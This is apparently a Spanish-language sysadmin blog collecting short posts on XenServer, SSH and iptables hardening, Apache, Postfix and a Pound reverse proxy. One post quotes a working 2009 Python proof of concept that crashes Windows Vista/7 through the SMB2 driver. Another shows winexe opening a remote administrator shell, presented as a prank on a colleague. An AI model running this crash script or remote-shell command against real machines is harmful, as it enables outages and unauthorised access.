XenServer - Autenticar XAPI mediante PAM

Hola! ¿Cómo podemos hacer para crearnos un usuario en XenServer que nos sirva para conectarnos a la XAPI por HTTP/RPC?

Pues esto es lo que veremos paso a paso en este Post gracias a mi colega OPP.

Nos conectamos al Host Master y ejecutamos:

#Añadimos PAM como external Auth
xe pool-enable-external-auth auth-type=PAM service-name=pam

#Creamos un usuario, por ejemplo xenapiuser 
useradd -s /sbin/nologin xenapiuser

#Le ponemos un password 
echo "xenapiuser:xpassword" | chpasswd

#Añade un "sujeto" (mola llamarle sujeto...)
xe subject-add subject-name=xenapiuser
#Este comando nos devolvera un uuid, por ejemplo 9fec6479-5114-d69e-c384-e2d00f4c638d

#Le asignamos el rol que queramos, por ejemplo read-only
xe subject-role-add role-name=read-only uuid=9fec6479-5114-d69e-c384-e2d00f4c638d

#Vemos que está OK
xe subject-list
 uuid ( RO)                  : 9fec6479-5114-d69e-c384-e2d00f4c638d
 subject-identifier ( RO): u501
 other-config (MRO): subject-name: xenapiuser; subject-uid: u501; subject-gid: g501; subject-gecos: ; subject-displayname: xenapiuser; subject-is-group: false; subject-account-disabled: false; subject-account-expired: false; subject-account-locked: false; subject-password-expired: false
                 roles (SRO): read-only

En el resto de "Slaves" solo hemos de ejecutar:

useradd -s /sbin/nologin xenapiuser 
echo "xenapiuser:xpassword" | chpasswd

Y con esto ya tendríamos un usuario con que poder atacar la XAPI, sin permisos para hacerle nada ;)
Saludos

DNS de Google hackeados?

Han hackeado los DNS de google?

whois google.com
Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Server Name: GOOGLE.COM.ZZZZZZZZZZZZZZZZZZZZZZZZZZZ.LOVE.AND.TOLERANCE.THE-WONDERBOLTS.COM
   IP Address: 50.62.130.9
   Registrar: GODADDY.COM, LLC
   Whois Server: whois.godaddy.com
   Referral URL: http://registrar.godaddy.com

 Server Name: GOOGLE.COM.ZZZZZZZZZZZZZZZZZZZZZZZZZZ.HAVENDATA.COM
   IP Address: 50.23.75.44
   Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
   Whois Server: whois.PublicDomainRegistry.com
   Referral URL: http://www.PublicDomainRegistry.com

 Server Name: GOOGLE.COM.ZZZZZZZZZZZZZ.GET.ONE.MILLION.DOLLARS.AT.WWW.UNIMUNDI.COM
   IP Address: 209.126.190.70
   Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
   Whois Server: whois.PublicDomainRegistry.com
   Referral URL: http://www.PublicDomainRegistry.com

En realidad NO, es un TROLL. Nuestro amigo whois busca por todos los campos registrados en la base de datos, por lo tanto si en server name, ponemos cualquier chorrada, en las búsquedas aparecerá.

por ejemplo, pasa lo mismo con microsoft.com

   Server Name: MICROSOFT.COM.ZZZOMBIED.AND.HACKED.BY.WWW.WEB-HACK.COM
   IP Address: 217.107.217.167
   Registrar: DOMAINCONTEXT, INC.
   Whois Server: whois.domaincontext.com
   Referral URL: http://www.domaincontext.com

   Server Name: MICROSOFT.COM.ZZZ.IS.0WNED.AND.HAX0RED.BY.SUB7.NET
   IP Address: 207.44.240.96
   Registrar: TUCOWS.COM CO.
   Whois Server: whois.tucows.com
   Referral URL: http://domainhelp.opensrs.net

 Server Name: MICROSOFT.COM.WILL.BE.SLAPPED.IN.THE.FACE.BY.MY.BLUE.VEINED.SPANNER.NET
   IP Address: 216.127.80.46
   Registrar: ASCIO TECHNOLOGIES, INC.
   Whois Server: whois.ascio.com
   Referral URL: http://www.ascio.com
 

Cómo cambiar el sistema encriptación por defecto Ubuntu Linux

Si planteamos el escenario, en que tenemos un servidor antiguo, con por ejemplo una Ubuntu 7.10 y queremos llevarnos todas las cuentas de usuarios en /etc/shadow a otro servidor Ubuntu, con una versión superior como la 10.4, o en general, a cualquier sistema que utilice un nuevo algoritmo de encriptación como puede ser sha512, tenemos que tener en cuenta:

El fichero de pam básico de password /etc/pam.d/common-password

password    [success=1 default=ignore]    pam_unix.so obscure sha512 

En este caso está configurado para utilice sha512, cambiando sha512 por md5, pasaríamos a utilizar el algoritmo antiguo:

password       [success=1 default=ignore]      pam_unix.so obscure md5

El fichero de configuración del login /etc/login.defs

Por defecto tendremos: ENCRYPT_METHOD SHA512

Para utilizar MD5 cambiamos a: ENCRYPT_METHOD MD5

Con esto, el servidor utilizará MD5 para el fichero /etc/shadow y la autentificación de tus usuarios.


Cabe recordar que es mucho más recomendable utilizar SHA512 que MD5 ya que de este último hay demostrados problemas de colisiones de hash (wikipedia: situación que se produce cuando dos entradas distintas a una función de hash producen la misma salida.)


Saludos!

winexe: Ejecutar comandos remotos desde Linux a Windows

Magnifica utilidad para enviar comandos remotos a máquinas WindowsNT/2000XP/2003/7 desde GNU/Linux. Está disponible desde AUR para los users de Arch. 

Ejemplo1:
un Rickroll a nuestro compañero:

winexe //IPWINDOWS -U Administrador%Passwd --interactive=1 "explorer http:\\bd.vg" 

Ejemplo2:
Directamente abrimos una shell:

winexe //IPWINDOWS -U Administrador%Passwd cmd 

No hagáis mucho daño!! XD

Dropbox cifrado multiplataforma

Tener datos en la nube me transmite cierta intranquilidad... De algún modo cuando colgamos algo en la nube, uno se expone a numerosos riesgos directos e indirectos por parte de la empresa que ofrece ese servicio y por la topología de Internet.

Con riesgos directos quiero decir que la propia empresa utilice dicha información con fines comerciales y con riesgos indirectos me refiero a la intrusión a los sistemas de esa empresa por parte de terceros. 

No me refiero directamente a Dropbox con lo comentado, ya que en sus políticas de seguridad/usuario exponen que no accederán a nuestros datos e incluso que no tienen acceso a ellos, hablo en plan generalista, aunque, ¿Que pasaría si alguien se colara en sus sistemas?... Con todo esto la mejor opción que se me ocurre es utilizar mecanismos de cifrado.

Dejo aquí un par de sites muy interesantes para configurar carpetas cifradas en Dropbox. Yo lo prefiero así ya que utilizar volúmenes TrueCrypt me parece bastante incomodo. De este modo puedes tener una carpeta cifrada y todo lo demás "abierto ;)". Destaco también que este sistema es multiplataforma y es sencillo y practico para todos los gustos.

                                                                                

Tener una carpeta cifrada en DropBox (Para GNU/Linux)

http://www.tuxapuntes.com/drupal/node/2137

 

Sistema de ficheros cifrado bajo DropBox (Para Windows)

http://www.securitybydefault.com/2011/05/sistema-de-ficheros-cifrado-bajo.html

Encriptar Dropbox con encfs File to File desde OSX (Para Mac)
http://redesysoftware.dustinthewind.es/encriptar-dropbox-con-encfs-file-to-file-desde-osx/ 

Utilizas otro método más cómodo? Comentarios son bienvenidos :D

Manual Practico de IPtables

Un gran trabajo.
http://www.pello.info/filez/firewall/iptables.html
1.2 Revision: añadidos los mismos casos pero con DROP por defecto

Esta imagen representa como un paquete recorre las tablas y cadenas del núcleo de netfilter:

Openbox & sesiones ssh - ssh-agent ssh-add -

El problema que tenia es que cuando arrancaba el agente de ssh (eval `ssh-agent`) y ssh-add en un terminal, las variables de entorno que hacen referencia a la ubicación de los archivos y pid no eran visibles para otras sesiones de terminal y por lo tanto me pedia de nuevo hacer ssh-add en cada consola.

SSH_AUTH_SOCK=/tmp/ssh-xBlFuc3166/agent.3166; export SSH_AUTH_SOCK;
SSH_AGENT_PID=3167; export SSH_AGENT_PID;

La solución que me ha funcionado en openbox es añadir en el fichero .xinitrc eval `ssh-agent -s` para que qeuede así:

eval `ssh-agent -s`
exec ck-launch-session dbus-launch openbox-session

Arch linux en Active Directory

Con estos dos howtos está hecho :D

Arch server to Windows domain
http://wiki.archlinux.org/index.php/Arch_server_to_Windows_domain

Unir Linux a un Dominio Active directory
http://gnulinuxcodigo.blogspot.com/2009/12/unir-linux-un-dominio-active-directory.html

Apache2 - Ocultar ficheros

Para denegar el acceso a diferentes ficheros en el Document Root o cualquier directorio tenemos el siguiente ejemplo

<Location ~ "(.Xauthority|.bash_history|.profile|.rhosts|.sh_history|.ssh|.subversion|.sunw|.bashrc|.svn)">
Order allow,deny
Deny from all
</Location>


Este denegaria el acceso a los ficheros (.bash_history |.profile| .rhosts| .sh_history| .ssh|.subversion| .sunw|.bashrc|.svn) del directorio Document Root.

Mailscanner - Max Spam Check Size

Como en la naturaleza, la guerra entre el spam y los antispam, evolucionan. Cada mecanismo de ataque genera uno de defensa y viceversa... al grano. El otro dia vi que MailScanner viene con una config por defecto para analizar todos los correo que no sean superiores a 200k...

# Spammers do not have the power to send out huge messages to everyone as
# it costs them too much (more smaller messages makes more profit than less
# very large messages). So if a message is bigger than a certain size, it
# is highly unlikely to be spam. Limiting this saves a lot of time checking
# huge messages.
# Disable this option by setting it to a huge value.
# This is measured in bytes.
# This can also be the filename of a ruleset.
Max Spam Check Size = 200k

Esta justificación, en mi opinión totalmente valida, pero es muy sutil. El otro dia vi como se colaba un correo de 207k sin mostrar ninguna puntuación en mailscanner, simplemente decia "too large" :(. Para solventarlo aumentar ese valor.

MySQL password de root

/usr/bin/mysqladmin -u root password 'new-password'
/usr/bin/mysqladmin -u root -h svfwspam01.pandora.nv password 'new-password'

Autentificación OpenLDAP con Fortigate firewall

Una de las cosas que más me gustan es centralizar usuarios, me da muuucha pereza tener bds de usuarios por todas partes, además que empresa tiene trabajadores que no ovidan sus passwords??? asi es fácil para mi y fácil para los users. openLDAP es mi amigo y lo pongoo hasta en la sopa.

Para integrarlo con este dispositivo que hace de firewall, IDs, VPN... se hace como se indica en la imagen siguiente. De este modo, los usuarios que esten dentro del contenedor people, tendrán acceso por VPN con su usuario de red.

Dentro de VPN -> Remote -> LDAP

Name	ldap.neuronal-caos.com
Server Name/IP
Server Port
Common Name Identifier
Distinguished Name
Bind Type	Simple Anonymous Regular
Filter
User DN
Password

Con eso ya habria suficiente.

(BSOD) en Windows Vista y 7 a través de unidades compartidas

Segun Hispasec - una-al-día www.hispasec.com

El fallo (incomprensiblemente simple) está en el intérprete de las cabeceras SMB, concretamente en el driver srv2.sys. Como los controladores operan en el "ring0", la capa de abstracción del sistema operativo más cercana al hardware (en contraste con el "ring3", la capa de usuario que no interactúa directamente con él) un fallo en cualquier driver provoca que el sistema se bloquee por completo, al no poder manejar la excepción correctamente. Se trata del temido pantallazo azul o BSOD. Los Windows anteriores a Windows 2000 no realizaban esta separación de seguridad entre capas, por lo que todo operaba en el mismo espacio de memoria y los fallos en el espacio de usuario podían causar un bloqueo total del sistema. De ahí que los pantallazos azules fuesen mucho más comunes en Windows 9x y Me.

http://g-laurent.blogspot.com/
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Postfix como cliente SMTP SASL

Hay veces que por necesidad hay que autentificar un servidor de correo contra otro servidor. En ese caso, posftix se puede configurar para validarse contra otra servidor y utilizar ese como smarthost.

creamos el fichero: /etc/postfix/password
Y ponemos la información del usuario que va hacer el relay

smtp.isp.com username:password

Asignamos los permisos correctos para mayor seguridad

chown root:root /etc/postfix/password
chmod 0600 /etc/postfix/password
postmap hash:/etc/postfix/password

En el main.cf ponemos
relayhost = smtp.isp.com
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/password
smtp_sasl_security_options =

VSFTPD + SSL TLS

Primero cramos el certificado:

[root@vps] openssl req -x509 -nodes -days 365 -newkey rsa:1024 \
-keyout /etc/vsftpd/vsftpd.pem \
-out /etc/vsftpd/vsftpd.pem

Añadimos las siguientes linias al fichero /etc/vsftpd.conf

ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=NO
force_local_logins_ssl=NO
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
rsa_cert_file=/etc/vsftpd/vsftpd.pem

Debian - There is no public key available for the following key IDs

gpg --keyserver subkeys.pgp.net --recv-keys 4D270D06F42584E6
gpg --armor --export 4D270D06F42584E6 apt-key add -

Protege SSHD - configuración segura

Configuración del servidor SSH

LoginGraceTime 30

Cantidad de segundos en que la pantalla de login estará disponible para que el usuario capture su nombre de usuario y contraseña, si no lo hace el login se cerrará, evitando así dejar por tiempo indeterminado pantallas de login sin que nadie las use, o peor aun, que alguien este intentando mediante un script varias veces el adivinar un usuario y contraseña. Aqui conviene identificar en nuestros usuarios el tiempo promedio que tardan en ingresar su usuario y contraseña y darles unos cuantos segundos más de margen por los usuarios lentos para que ingresen sus credenciales. Si somos el único usuario del sistema considero que con 20 o 30 segundos es mas que suficiente.

PermitRootLogin no
Root no entra directamente por ssh

AllowUsers Ferran
Solamente mi usuario entrara.

AllowGroups wheel

AllowUsers ferran@192.168.1.25     (solo desde la IP indicada)
AllowUsers ferran@192.168.1.*       (Toda la red indicada) 

MaxAuthTries 2: El número indica la cantidad de veces que podemos equivocarnos en ingresar el usuario y/o contraseña, en este caso después de dos intentos, se perderá o cerrará la conexión. Claro, es totalmente posible volver a intentarlo, pero como son dos intentos por vez, evitaremos ataques basados en la persistencia de la conexión, como se perderá al tercer intento de conexión, el ataque cesará.

MaxStartups 3: El número indica la cantidad de pantallas de login, o cantidad de conexiones simultaneas de login que permitirá el sshd por ip que intente conectarse. Hay ataques muy efectivos que dividen el ataque en decenas y puede ser que en cientos (si el sistema atacado lo permite) de conexiones de login. Es decir, el ataque divide en una gran cantidad de logins los intentos por ingresar, aumentando sus posibilidades de más rapidamente adivinar al usuario y contraseña. Con esta directiva limitamos a tan solo 3 pantallas de login. Que quede claro, una vez logueados en el sistema, es posible tener mas de 3 terminales de ssh, se refiere exclusivamente a pantallas de login.

En el artículo de linuxtotal.com.mx Sergio Gonzalez Duran redactó una buena pauta a seguir.
http://www.linuxtotal.com.mx/index.php?cont=info_seyre_004

Resumiendo...

Protege SSHD de pesados ataques de fuerza bruta con IPTABLES

Después de ver la cantidad de logs que tengo en mi servidor por culpa de estos barridos de IPs en busca de passwords débiles, he encontrado las siguientes reglas que pueden ser útiles. Lo pongo en formato script copy/paste:

#/bin/bash
iptables -A SSH -m recent --name SSH_ABL --update --seconds 3600 -j REJECT
iptables -A SSH -m recent --name SSH --rcheck --seconds 60 --hitcount 5 -j SSH_ABL
iptables -A SSH_ABL -m recent --name SSH_ABL --set -j LOG --log-level warn --log-prefix "ABL: +SSH: "
iptables -A SSH_ABL -j REJECT
iptables -A SSH -m recent --name SSH --rcheck --seconds 2 -j LOG --log-level warn --log-prefix "RATE: "
iptables -A SSH -m recent --name SSH --update --seconds 2 -j REJECT
iptables -A SSH -m recent --name SSH_ABL --remove -j LOG --log-level warn --log-prefix "ABL: -SSH: "
iptables -A SSH -m recent --name SSH --set -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp -m tcp --dport 22 -j SSH

Otro más

iptables -A INPUT -m recent --update --seconds 60 --hitcount 5 --name SSH --rsource -j DROP
iptables -A INPUT -m recent --set --name SSH --rsource -j ACCEPT

Si tengo un poco de tiempo explicaré cada una de estas línias. A grandes rasgos los dos hacen lo mismo, no deja entrar una misma IP si hace más de 5 intentos en 60 segundos.

Proxy inverso con Pound

Navegando por la red, encontré diferentes forma de hacer un proxy inverso y de todas las que probé, POUND, me convenció mucho, primera por su facilidad y segundo por su flexibilidad.

Pound no es solo un proxy inverso http, también permite balancear cargas y permite https. Fue desarrollado para permitir la distribución de la carga entre varios servidores Web y para permitir un cómodo entorno SSL a los servidores web que no lo ofrecen de forma nativa. Se distribuye bajo la licencia GPL

Escenario:

        Internet   ------------>>>>     Firewall    ------>>  Servidor Linux
                     
                                                                     |
                                                                     |
                                                                     |
                                                                    LAN
                                                                   EMPRESA

En los repositorios basicos y en Packman de OpenSuse 11 se encuentra ya el rpm. Supongo que debian y ubuntu tambien tendran su paquete.

Debian)apt-get install pound

Suse/CentOS) rpm -Uvh pound*

OpenSuse) zypper install pound

Es tan sencillo como instalarlo y configurar el fichero de configuración /etc/pound.cfg

# Start pound as User with Group
User "pound"
Group "pound"
#IP d'origen http
ListenHTTP
Address IP_LOCAL_PROXY_INVERSO
Port 80
End
#IP d'origen https
ListenHTTPS
Address IP_LOCAL_PROXY_INVERSO
Port 443
Cert "/etc/ssl/local.server.pem"
End

Service
HeadRequire "Host: .*IP_INTERNET.*"
BackEnd
Address IP_SERVIDOR_WEB_LAN
Port 80
End
End


Para generar el certificado ssl hacemos:

# cd /etc/ssl && openssl req -x509 -newkey rsa:1024 -keyout local.server.pem -out local.server.pem -days 365 -nodes

Referencias y más info

Un buen how to: http://www.cyberciti.biz/faq/linux-http-https-reverse-proxy-load-balancer/

Web oficial: http://www.apsis.ch/pound/